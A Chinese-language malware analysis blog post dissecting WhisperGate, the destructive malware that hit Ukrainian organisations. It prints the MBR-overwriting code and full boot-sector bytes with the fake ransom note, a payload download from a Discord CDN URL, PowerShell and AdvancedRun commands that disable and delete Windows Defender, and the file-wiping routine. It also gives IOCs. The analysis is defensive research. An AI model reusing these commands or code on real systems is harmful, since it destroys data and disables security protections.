酷应用

针对乌克兰组织的破坏性恶意软件WhisperGate分析

百家作者：Chamd5安全团队 2022-01-30 08:21:22

概述

微软威胁情报中心（MSTIC）已经确认了一个针对乌克兰多个组织的破坏性恶意软件攻击活动，恶意软件于2022年1月13日首次出现在受害者的系统中。

本文主要对攻击中的破坏性恶意软件进行分析。

总体流程

阶段1恶意软件分析

程序首先注册了一些异常处理函数，重点在sub_403b60,sub_403b60向磁盘 0 引导扇区写入了一些数据

int?__usercall?sub_403B60@<eax>(DWORD?a1@<ebp>)
{
??//...
??dwDesiredAccess[1]?=?dwDesiredAccess[2];
??dwDesiredAccess[0]?=?a1;
??v1?=?alloca(sub_401FE0((char)&dwCreationDisposition));
??sub_401990();
??qmemcpy(&dwDesiredAccess[-2054],?&unk_404020,?0x2000u);
??v2?=?CreateFileW(L"\\\\.\\PhysicalDrive0",?0x10000000u,?3u,?0,?3u,?0,?0);
??WriteFile(v2,?&dwDesiredAccess[-2054],?0x200u,?0,?0);
??CloseHandle(v2);
??return?0;
}

写入的数据为:

b'\xeb\x00\x8c\xc8\x8e\xd8\xbe\x88|\xe8\x00\x00P\xfc\x8a\x04<\x00t\x06\xe8\x05\x00F\xeb\xf4\xeb\x05\xb4\x0e\xcd\x10\xc3\x8c\xc8\x8e\xd8\xa3x|f\xc7\x06v|\x82|\x00\x00\xb4C\xb0\x00\x8a\x16\x87|\x80\xc2\x80\xber|\xcd\x13r\x02s\x18\xfe\x06\x87|f\xc7\x06z|\x01\x00\x00\x00f\xc7\x06~|\x00\x00\x00\x00\xeb\xc4f\x81\x06z|\xc7\x00\x00\x00f\x81\x16~|\x00\x00\x00\x00\xf8\xeb\xaf\x10\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00AAAAA\x00Your?hard?drive?has?been?corrupted.\r\nIn?case?you?want?to?recover?all?hard?drives\r\nof?your?organization,\r\nYou?should?pay?us??$10k?via?bitcoin?wallet\r\n1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv?and?send?message?via\r\ntox?ID?8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23054C057ECED5496F65\r\nwith?your?organization?name.\r\nWe?will?contact?you?to?give?further?instructions.\x00\x00\x00\x00U\xaa'

使用把这个写入另一个文件，使用 IDA(16 bit mode)反汇编一下，得到:

seg000:7C00 ; Segment type: Pure code
seg000:7C00 seg000          segment byte public 'CODE' use16
seg000:7C00                 assume cs:seg000
seg000:7C00                 ;org 7C00h
seg000:7C00                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:7C00                 jmp     short $+2
seg000:7C02 ; ---------------------------------------------------------------------------
seg000:7C02
seg000:7C02 loc_7C02:                               ; CODE XREF: seg000:7C00↑j
seg000:7C02                 mov     ax, cs
seg000:7C04                 mov     ds, ax
seg000:7C06                 mov     si, 7C88h
seg000:7C09                 call    $+3
seg000:7C0C                 push    ax
seg000:7C0D                 cld
seg000:7C0E
seg000:7C0E loc_7C0E:                               ; CODE XREF: seg000:7C18↓j
seg000:7C0E                 mov     al, [si]
seg000:7C10                 cmp     al, 0
seg000:7C12                 jz      short loc_7C1A
seg000:7C14                 call    sub_7C1C
seg000:7C17                 inc     si
seg000:7C18                 jmp     short loc_7C0E
seg000:7C1A ; ---------------------------------------------------------------------------
seg000:7C1A
seg000:7C1A loc_7C1A:                               ; CODE XREF: seg000:7C12↑j
seg000:7C1A                 jmp     short loc_7C21
seg000:7C1C
seg000:7C1C ; =============== S U B R O U T I N E =======================================
seg000:7C1C
seg000:7C1C
seg000:7C1C sub_7C1C        proc near               ; CODE XREF: seg000:7C14↑p
seg000:7C1C                 mov     ah, 0Eh
seg000:7C1E                 int     10h             ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
seg000:7C1E                                         ; AL = character, BH = display page (alpha modes)
seg000:7C1E                                         ; BL = foreground color (graphics modes)
seg000:7C20                 retn
seg000:7C20 sub_7C1C        endp
seg000:7C20
seg000:7C21 ; ---------------------------------------------------------------------------
seg000:7C21
seg000:7C21 loc_7C21:                               ; CODE XREF: seg000:loc_7C1A↑j
seg000:7C21                                         ; seg000:7C5B↓j ...
seg000:7C21                 mov     ax, cs
seg000:7C23                 mov     ds, ax
seg000:7C25                 mov     ds:word_7C78, ax
seg000:7C28                 mov     dword ptr ds:word_7C76, 7C82h
seg000:7C31                 mov     ah, 43h ; 'C'
seg000:7C33                 mov     al, 0
seg000:7C35                 mov     dl, ds:byte_7C87
seg000:7C39                 add     dl, 80h
seg000:7C3C                 mov     si, 7C72h
seg000:7C3F                 int     13h             ; DISK - IBM/MS Extension - EXTENDED WRITE (DL - drive, AL - verify flag, DS:SI - disk address packet)
seg000:7C41                 jb      short loc_7C45
seg000:7C43                 jnb     short loc_7C5D
seg000:7C45
seg000:7C45 loc_7C45:                               ; CODE XREF: seg000:7C41↑j
seg000:7C45                 inc     ds:byte_7C87
seg000:7C49                 mov     ds:dword_7C7A, 1
seg000:7C52                 mov     ds:dword_7C7E, 0
seg000:7C5B                 jmp     short loc_7C21
seg000:7C5D ; ---------------------------------------------------------------------------
seg000:7C5D
seg000:7C5D loc_7C5D:                               ; CODE XREF: seg000:7C43↑j
seg000:7C5D                 add     ds:dword_7C7A, 0C7h
seg000:7C66                 adc     ds:dword_7C7E, 0
seg000:7C6F                 clc
seg000:7C70                 jmp     short loc_7C21
seg000:7C70 ; ---------------------------------------------------------------------------
seg000:7C72                 db  10h
seg000:7C73                 align 2
seg000:7C74                 db 1, 0
seg000:7C76 word_7C76       dw 0                    ; DATA XREF: seg000:7C28↑w
seg000:7C78 word_7C78       dw 0                    ; DATA XREF: seg000:7C25↑w
seg000:7C7A dword_7C7A      dd 1                    ; DATA XREF: seg000:7C49↑w
seg000:7C7A                                        ; seg000:loc_7C5D↑w
seg000:7C7E dword_7C7E      dd 0                    ; DATA XREF: seg000:7C52↑w
seg000:7C7E                                         ; seg000:7C66↑w
seg000:7C82                 db  41h ; A
seg000:7C83                 db 4 dup(41h)
seg000:7C87 byte_7C87       db 0                    ; DATA XREF: seg000:7C35↑r
seg000:7C87                                         ; seg000:loc_7C45↑w
seg000:7C88 aYourHardDriveH db 'Your hard drive has been corrupted.',0Dh,0Ah
seg000:7C88                 db 'In case you want to recover all hard drives',0Dh,0Ah
seg000:7C88                 db 'of your organization,',0Dh,0Ah
seg000:7C88                 db 'You should pay us  $10k via bitcoin wallet',0Dh,0Ah
seg000:7C88                 db '1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message via',0Dh,0Ah
seg000:7C88                 db 'tox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23'
seg000:7C88                 db '054C057ECED5496F65',0Dh,0Ah
seg000:7C88                 db 'with your organization name.',0Dh,0Ah
seg000:7C88                 db 'We will contact you to give further instructions.',0
seg000:7DFB                 db 3 dup(0), 55h, 0AAh
seg000:7DFB seg000          ends

汇编代码比较清晰，即向屏幕输出“你的硬盘被破坏了，请支付赎金”，并给出了非常简略的联系方式。似乎该破坏行动是为了单纯的破坏，而不是勒索钱财。

值得注意的是，这段代码会在关机重启后执行，所以一旦发现感染了病毒，及时清除病毒并修复引导扇区，可以直接阻止恶意行为。

阶段2分析

阶段 2 的 payload 加入了一些混淆，先用 de4dot 去一下混淆，然后拖进 dnspy

public?static?void?Main()
?{
??for?(;;)
??{
???IL_64:
???Console.WriteLine(Application.ExecutablePath);
???for?(;;)
???{
????int?num?=?1;
????if?(<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_d3e3b107f8904fb69ad941560b17473e?==?0)
????{
?????goto?IL_15;
????}
????IL_2E:
????????//?non-use?code
????????IL_03:
????Manager.LogoutFacade();
????num?=?0;
????if?(<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_3c87806b12d7438cba956510142600ea?!=?0)
????{
?????goto?IL_2E;
????}
????IL_15:
????Console.WriteLine(Application.StartupPath);
????num?=?2;
????if?(<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_774b9210d98142ebb4413559daae5a44?==?0)
????{
?????goto?IL_03;
????}
????goto?IL_2E;
???}
??}

虽然代码很多，但是实际上就调用了Manager.LogoutFacade

public?static?void?LogoutFacade()
?{
??Type[]?array?=?Manager.PushItem(Manager.ListItem());
??Type[]?array2?=?array;
????//?non-use?code
???}

重点在于Manager.ListItem，ListItem 调用了Facade.PrintFacade()

public?static?Assembly?PrintFacade()
?{
??Assembly?assembly;
???assembly?=?Facade.LogoutItem(Facade.ChangeFacade());
??????//?non-use?code
?????Assembly?result;
??return?result;
??IL_33:
??result?=?assembly;
??return?result;
?}

其中 LogoutItem 就是 Assembly.Load，下面分析Facade.ChangeFacade

private?static?byte[]?ChangeFacade()
?{
??byte[]?result;
??for?(;;)
??{
???Facade.ValidateItem();
???int?num?=?1;
??????//?break
??????goto?IL_39;
??}
??goto?IL_AC;
??IL_39:
??IL_3A:
??try
??{
???ServicePointManager.SecurityProtocol?=?SecurityProtocolType.Tls12;
??}
??catch
??{
??}
??IL_4A:
??byte[]?array?=?(byte[])Facade.UpdateItem(typeof(WebClient).GetMethod("DxownxloxadDxatxxax".Replace("x",?""),?new?Type[]
??{
???Facade.MoveItem(typeof(string).TypeHandle)
??}),?new?WebClient(),?new?object[]
??{
???"https://cdn.discordapp.com/attachments/928503440139771947/930108637681184768/Tbopbh.jpg"
??});
??IL_9F:
??bool?flag?=?array.Length?>?1;
??IL_A8:
??if?(!flag)
??{
???goto?IL_B8;
??}
??IL_AC:
??Facade.InsertItem(array,?0,?array.Length);
??IL_B8:
??result?=?array;
??return?result;
?}

其中 ValidateItem()

object_?=?"0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==";
//...
??Facade.InitItem(Facade.SetItem(new?ProcessStartInfo
??{
???FileName?=?"powershell",
???Arguments?=?Facade.SearchItem("-enc?UwB0AGEAcgB0AC",?object_),
???WindowStyle?=?ProcessWindowStyle.Hidden
??}));
??num2++;
??IL_97:
??flag?=?(num2?<?2);
??goto?IL_5A;

实际上就是执行了命令，休眠 10s 逃避沙箱检测

powershell -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA== # Start-Sleep -s 10

ChangeFacade 下载了一个资源文件，并且反转数组。其中 UpdateItem 调用了第一个参数的invoke()方法。InsertItem 反转数组。

下载之后返回，再经过之前的 Assembly.Load，就执行了第三阶段的 payload

再回到 Manager.LogoutFacade，可以看到获取 Assembly 之后调用了 PushItem

Manager.PublishItem(type.GetMethods());

然后 PublishItem，最终调用了 FillFacade 方法

private?static?void?FillFacade(MethodInfo[]?spec)
?{
??for?(;;)
??{
???IL_BB:
???for?(;;)
???{
????IL_B6:
????int?i?=?0;
????IL_A9:
????while?(i?<?spec.Length)
????{
?????int?num?=?1;
?????if?(<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_2c14d7a09b2547d0bb8f361f957318cd?==?0)
?????{
??????goto?IL_3F;
?????}
?????for?(;;)
?????{
??????IL_71:
??????MethodInfo?methodInfo;
??????switch?(num)
??????{
??????case?1:
???????methodInfo?=?spec[i];
???????goto?IL_53;
??????case?2:
??????case?4:
??????case?6:
???????goto?IL_A9;
??????case?3:
???????goto?IL_53;
??????case?5:
??????case?9:
???????goto?IL_B6;
??????case?8:
???????return;
??????case?10:
???????goto?IL_BB;
??????case?11:
???????goto?IL_15;
??????}
??????break;
??????IL_15:
??????bool?flag;
??????if?(!flag)
??????{
???????num?=?0;
???????if?(<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_998eb8dec19c46dbadb23b38e4845884?!=?0)
???????{
????????break;
???????}
???????continue;
??????}
??????else
??????{
???????methodInfo.Invoke(null,?null);
???????num?=?2;
???????if?(<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_a1c1ff6dd32b4941b387e9a3f27456af?!=?0)
???????{
????????break;
???????}
???????continue;
??????}
??????IL_53:
??????flag?=?Manager.ReflectItem(methodInfo.Name,?"Ylfwdwgmpilzyaph");
??????goto?IL_15;
?????}
?????IL_3F:
?????i++;
?????num?=?1;
?????if?(<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_dd2f1ebca64349f79180980532b8e09c?!=?0)
?????{
??????goto?IL_71;
?????}
????}
????return;
???}
??}
?}

在查找一个名为Ylfwdwgmpilzyaph的方法，然后调用。

阶段3分析

public?static?void?Ylfwdwgmpilzyaph()
??{
???Class57.smethod_0().method_15(Class57.smethod_2(),?"#6k@H!uq=A",?null);
??}

先调用了Class57.smethod_2()

public?static?Stream?smethod_2()
?{
??if?(Class57.stream_0?==?null)
??{
???Class57.stream_0?=?Class77.smethod_0(typeof(Class57).Assembly.GetManifestResourceStream("7c8cb5598e724d34384cce7402b11f0e"),?new?byte[]
???{
????180,
????//?...
????194
???},?Class57.smethod_1());
??}
??return?Class57.stream_0;
?}

加载了一个资源，然后调用Class77.smethod_0

由于过于复杂，使用 powershell 加载后调试

[reflection.assembly]::LoadFile("C:/Users/kali/Desktop/stage3.bin/stage3-cleaned.dll")
[ClassLibrary1.Main]::Ylfwdwgmpilzyaph()

调试中发现，很多 API 都不是直接调用，猜测有反射调用方法。

反射中要用到 invoke 方法，所以寻找 invoke 的关联树。

也就是说，\u0002\u2008 的两个重载函数 \u0002 调用了 windowsAPI，而第一个函数

private?static?void?\u0002(Exception?\u0002)
?{
??try
??{
???MethodInfo?method?=?typeof(Exception).GetMethod(global::\u000F\u2004\u2000.\u0002(-1506766328),?BindingFlags.Instance?|?BindingFlags.NonPublic,?null,?Type.EmptyTypes,?null);
???if?(method?!=?null)
???{
????method.Invoke(\u0002,?null);
????return;
???}
??}
??//...
?}

应该是进行异常处理的函数。所以调用 Windows API 的函数在这里。在这个函数下断点

private?static?object?\u0002(MethodBase?\u0002,?object?\u0003,?object[]?\u0005)
?{
??if?(\u0002.IsConstructor)
??{
???try
???{
????return?Activator.CreateInstance(\u0002.DeclaringType,?BindingFlags.Instance?|?BindingFlags.Public?|?BindingFlags.NonPublic,?null,?\u0005,?null);
???}
???catch?(AmbiguousMatchException)
???{
????return?((ConstructorInfo)\u0002).Invoke(BindingFlags.Instance?|?BindingFlags.Public?|?BindingFlags.NonPublic,?null,?\u0005,?null);
???}
??}
??return?\u0002.Invoke(\u0003,?\u0005);
?}

后面观察这个 API 调用就可以了

1. 首先获取 powershell 模块

2. 然后获取 powershell 路径

3. 获取当前用户

4. 判断当前用户是否是管理员

5. 获取 powershell 路径字符串的 c# 变量路径

6. 获取 windows 系统路径

7. powershell 路径是不是系统路径里面的

8. 获取 powershell 的根路径

9. 获取临时目录

10. 连接一个字符串，看上去是一个 vbs 脚本目录

11. 连接三个字符串

是一个 vbs 脚本

12. 将拼接的字符串写入文件

CreateObject("WScript.Shell").Run "powershell Set-MpPreference -ExclusionPath 'C:\'", 0, False"

即让 Windows defender 不再扫描 C 文件夹

13. 设置一个新进程并启动脚本

14. 判断是否存在目标文件

然后构造一个新数组，利用 gzip 解压这个数组，并把数组写入到目标文件，并执行

后面陆续执行了几条命令，都是用 AdvancedRun 执行的

C:\Users\kali\AppData\Local\Temp\AdvancedRun.exe /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend"  /StartDirectory "" /RunAs 8 /Run
/EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run"

(在这里谢谢你帮我关闭 wdf)

然后获取并连接了另一字符串

解压了另一个 payload，然后注入到 InstallUtil.exe。中间有一些获取函数地址的地方。

执行对应的 payload，自身退出

第四阶段分析

核心逻辑在 sub_4017b0 中

UINT?sub_4017B0()
{
??DWORD?v0;?//?ebx
??int?i;?//?esi
??UINT?result;?//?eax
??WCHAR?RootPathName[17];?//?[esp+26h]?[ebp-22h]?BYREF

??v0?=?GetLogicalDrives();
??qmemcpy(RootPathName,?"A",?0xAu);
??RootPathName[3]?=?0;
??for?(?i?=?0;?i?!=?26;?++i?)
??{
????result?=?(__int64)pow(2.0,?(double)i);
????if?(?(v0?&?result)?!=?0?)
????{
??????RootPathName[0]?=?i?+?'A';
??????if?(?GetDriveTypeW(RootPathName)?==?DRIVE_FIXED?||?(result?=?GetDriveTypeW(RootPathName),?result?==?DRIVE_REMOTE)?)
??????{
????????RootPathName[3]?=?'*';
????????result?=?sub_40160B(RootPathName);
????????RootPathName[3]?=?0;
??????}
????}
??}
??return?result;
}

获取所有盘符，如果有磁盘或者远程磁盘就对磁盘中所有文件执行 sub_40160B。

int?__cdecl?sub_40160B(LPCWSTR?lpFileName)
{
??//?...
??struct?_WIN32_FIND_DATAW?FindFileData;?//?[esp+40h]?[ebp-268h]?BYREF

??hFindFile?=?FindFirstFileW(lpFileName,?&FindFileData);
??result?=?(int)hFindFile?+?1;
??if?(?hFindFile?!=?(HANDLE)-1?)
??{
????do
????{
??????if?(?wcscmp(FindFileData.cFileName,?::String2)?)
??????{
????????if?(?wcscmp(FindFileData.cFileName,?L"..")?)
????????{
??????????if?(?wcscmp(FindFileData.cFileName,?asc_406086)?)
??????????{
????????????v2?=?wcslen(FindFileData.cFileName);
????????????v3?=?wcslen(lpFileName);
????????????v6?=?v2?+?v3;
????????????v4?=?(wchar_t?*)malloc(2?*?(v2?+?v3?+?4));
????????????wcscpy(v4,?lpFileName);
????????????v4[v3?-?1]?=?0;
????????????wcscat(v4,?FindFileData.cFileName);
????????????qmemcpy(String2,?L"A:\\Windows",?sizeof(String2));
????????????String2[0]?=?*wgetenv(L"HOMEDRIVE");
????????????if?(?wcscmp(v4,?String2)?)
????????????{
??????????????if?(?sub_401460(v4)?)
??????????????{
????????????????v5?=?v6?+?0x7FFFFFFF;
????????????????v4[v5]?=?92;
????????????????v4[v5?+?1]?=?42;
????????????????v4[v5?+?2]?=?0;
????????????????sub_40160B(v4);
??????????????}
??????????????else
??????????????{
????????????????sub_4015B3(v4);
??????????????}
??????????????free(v4);
????????????}
??????????}
????????}
??????}
????}
????while?(?FindNextFileW(hFindFile,?&FindFileData)?);
????result?=?FindClose(hFindFile);
??}
??return?result;
}

列出所有文件，对于每一个文件/文件夹，如果是文件夹并且有访问权限，就进入文件夹递归执行，否则就执行 sub_4015b3

int?__cdecl?sub_4015B3(wchar_t?*a1)
{
??//?...

??v1?=?0;
??String2?=?(const?wchar_t?*)sub_4014B6(a1);?//?获取文件后缀名
??sub_401492(String2);?//?转换为大写
??while?(?1?)
??{
????result?=?wcscmp(off_405020[v1],?String2);?//?判断一系列后缀名
????if?(?!result?)
??????break;
????if?(?++v1?==?195?)?//?不在列表里，直接返回
??????return?result;
??}
??return?sub_4014E3(a1);?//?在列表里，执行这个函数
}

判断了文件后缀名是否在一个列表里

?.HTML?.HTM?.?.XHTML?.?.PHP?.?.ASP?.?.?.?.?.?.?.?.?.DOCX?.XLS?.?.?.PPTX?.PST?.?.MSG?.?.VSD?.?.?.CSV?.?.WKS?.?.PDF?.?.ONETOC2?.?.JPEG?.JPG?.?.?.?.DOTM?.DOTX?.XLSM?.XLSB?.XLW?.?.XLM?.?.XLTX?.XLTM?.PPTM?.POT?.?.PPSM?.PPSX?.PPAM?.POTX?.POTM?.EDB?.?.602?.?.STI?.?.?.?.XLSM?.PPTM?.?.PNG?.?.RAW?.?.SLN?.?.TIFF?.NEF?.?.AI?.SVG?.?.CLASS?.?.BRD?.?.DCH?.?.PL?.VB?.VBS?.?.BAT?.?.JS?.ASM?.?.PAS?.?.C?.?.?.ASC?.?.?.MML?.?.OTG?.?.UOP?.?.SXD?.?.ODP?.?.SLK?.?.STC?.?.OTS?.?.3DM?.?.3DS?.?.STW?.?.OTT?.?.PEM?.?.CSR?.?.KEY?.?.DER?.?.RB?.GO?.JAVA?.RB?.INC?.?.PY?.KDBX?.INI?.?.PPK?.?.VDI?.?.?.HDD?.?.VMSD?.VMSN?.VMSS?.VMTM?.VMX?.?.?.?.?.?.IBD?.?.MYD?.?.SAV?.?.DBF?.?.?.ACCDB?.?.SQLITEDB?.SQLITE3?.?.SQ3?.?.PAQ?.?.TBK?.?.TAR?.?.GZ?.7Z?.RAR?.?.BACKUP?.ISO?.?.BZ?.CONFIG?

如果在列表里，就执行 sub_4014e3

void?__cdecl?sub_4014E3(wchar_t?*FileName)
{
??//...
??v1?=?wcslen(FileName);
??v2?=?(wchar_t?*)malloc(2?*?(v1?+?20));
??v3?=?rand();
??v4?=?wcslen(FileName);
??swprintf(v2,?(const?size_t)L"%.*s.%x",?(const?wchar_t?*const)(v4?-?4),?FileName,?v3);
??Stream?=?wfopen(FileName,?L"wb");
??v5?=?malloc(0x100000u);
??memset(v5,?0xcc,?0x100000u);
??fwrite(v5,?1u,?0x100000u,?Stream);
??fclose(Stream);
??wrename(FileName,?v2);
??free(v2);
??free(v5);
}

给文件随机添加后缀名，然后将前?0x100000?个字节更改为 0xcc，也就是烫烫烫，注意，这种更改是不可逆、无法恢复的。

IOCs

文件名	SHA256
stage1.exe	a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
stage2.exe	dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78
stage3.exe	923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6

参考资料

https://paper.seebug.org/1815/
https://blog.csdn.net/Cdreamfly/article/details/105004784
https://bbs.pediy.com/thread-50714.htm
https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3
https://github.com/hexfati/SharpDllLoader
https://blog.csdn.net/y97523szb/article/details/6950730
https://www.netskope.com/blog/netskope-threat-coverage-whispergate